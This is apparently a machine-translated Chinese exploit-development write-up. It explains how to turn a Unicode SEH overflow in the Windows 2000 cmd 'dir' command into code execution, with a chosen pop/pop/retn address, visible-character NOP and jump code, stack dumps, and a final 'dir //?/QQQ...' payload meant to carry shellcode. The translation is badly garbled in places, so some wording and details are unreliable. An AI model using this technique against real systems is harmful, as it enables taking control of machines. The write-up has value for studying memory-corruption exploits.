Be careful when "dir" overflows with you! (Lower)

Next, let's proceed.

On XP SP2SafesehSo it cannot be used successfully, so we switch to Win2000.

Test Platform:Windows 2000 Server SP4 CN

When I came to the 2000 platform with full confidence, I sufferedSevere blow, Put meRayNow ~~

Windows 2000's default cmd does not have this vulnerability!

However, you cannot look down on my shame.

Yes, to achieveYY powerFor the purpose of thoroughStrong XDir.
CopyA copy to the 2000 platform, so that the overflow can be normal.

The strange thing is that Banner displays version 5.0.

Because we get rid of the safeseh restriction, we canJumpWhere you like to go

And even better, you can directly enter it in 2000.Invisible characters(Maybe it's my soil. Void tells me to press CTRL in cmd, and then input a number on the keyboard to make invisible characters, but my notebook has no keypad, cannot experience it .), If yesDouble ByteInvisible characters (UltraEditUnicode hexadecimal editingCopy the file and paste it directly.

In my system, CMD usesGBK Encoding

In this way, it will be very easy to cover seh and write shellcode.

But at the beginning, I said, "I am here today ."Self-abuseSo I'm going to useOnly visible charactersObtain control.

In order to select the appropriate NOP, you can use the Unicode "Q", encoded as "7100"

The compiled code is:
Jno 00
It starts.NOPFunction

The redirection address must be of the POP/retn or jmp ebx type because it overwrites Seh.

I chose0x75e05db0
75e05db0 5f pop EDI; ntdll.77fbb272
75e05db1 5E pop ESI
75e05db2 C2 0400 retn 4

This address is exactly the Unicode Chinese Character: "zookeeper"

The best thing is that this address can also be used as a command to execute NOP.

However, as analyzed in the previous article, this overflow will be copied cyclically and there will be a lot of images, so there is not much space left for us after Seh.

0012ff34 00710071 Q. Q. pointer to the next seh record
0012ff38 75e05db0 parse se Handler

......

0012ff4c 00710071 Q. Q.
0012FF50 00710071 q. q.
0012FF54 00710071 q. q.
0012FF58 00710071 q. q.
0012FF5C 00710071 q. q.
0012FF60 00710071 q. q.
0012FF64 00710071 q. q.
0012FF68 00710071 q. q.
0012FF6C 00710071 q. q.
0012FF70 00710071 q. q.
0012FF74 00710071 q. q.
0012FF78 00710071 q. q.
0012ff7c 005c005c/./. ==> start the next copy
0012ff80 005c003f ?. /.
0012FF84 00710071 q. q.

This space is obviously not enough to write too many things, so you need to jump to the first half of payload to execute, in order to win more writeShellcodeSpace

Because we are pursuingVisible charactersSo the requirements for the mini code to jump to this section are a bit special.

After searching, it is found that after mov al and 5D change eax (in 75E05DB0B0 5D),

[Eax + 3]This requirement is met, pointing to the front of payload.

Use the following jmp code:
Inc eax
Inc eax
Inc eax
Call [eax + 0x0 h]
NOP

After some transformations, it becomes a visible character. After the seh jump, it is as follows:

The address in ESI is irrelevant, so the NOP work is handed over to ESI.

Look at the data in the stack:
0012ff34 00710071 Q. Q. pointer to the next seh record
0012ff38 75e05db0 parse se Handler
0012ff3c 00460040 @. f.
0012ff40 00460040 @. f.
0012ff44 00460040 @. f.
0012ff48 900050ff p.
0012ff4c 00710071 Q. Q.

If Unicode is not read, it should be @ f @ F

Among them, "rollback" is ff500090
That is
Call [eax + 0]
NOP

@ F is used to complete eax + 3.

Later, I found that this was a detour and I used it directly.
Call [eax + 0x3 H]
NOP
Easier

In this way, Unicode is:Ff500390

The Chinese character is: "escape"

Therefore, the finalPayloadIt becomes

Dir //? /Qqqqqqqqqqqqqqqqqqqqqqqqddddsssshhhhhhhhhhh
Hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
Hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
Hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
Hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
HHHHHHHHHHHHHHHHHHHHHHHHHHHBBqq QQ qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

Qqq... yesNOPThe letter "S" isShellcodeStart Point

It is required to overwrite SEH //? // AAA (224 A) [SEH handler] AAAAA .............

After obtaining the control, we can jump back and use more than 390 bytes of space. If the calculation is accurate, we can write shellcode in more than 400 bytes (unicode is double byte ).

The process is as follows:

After overwriting SEH jump:

After call [eax + 3:

6400640064006400 is the "dddd" in payload.

Replace the above code with your ownShellcodeYou can.

So far, we have controlled the process, and we have more than 400 bytes to write to shellcode.

YY finished.

Be careful when "dir" overflows with you!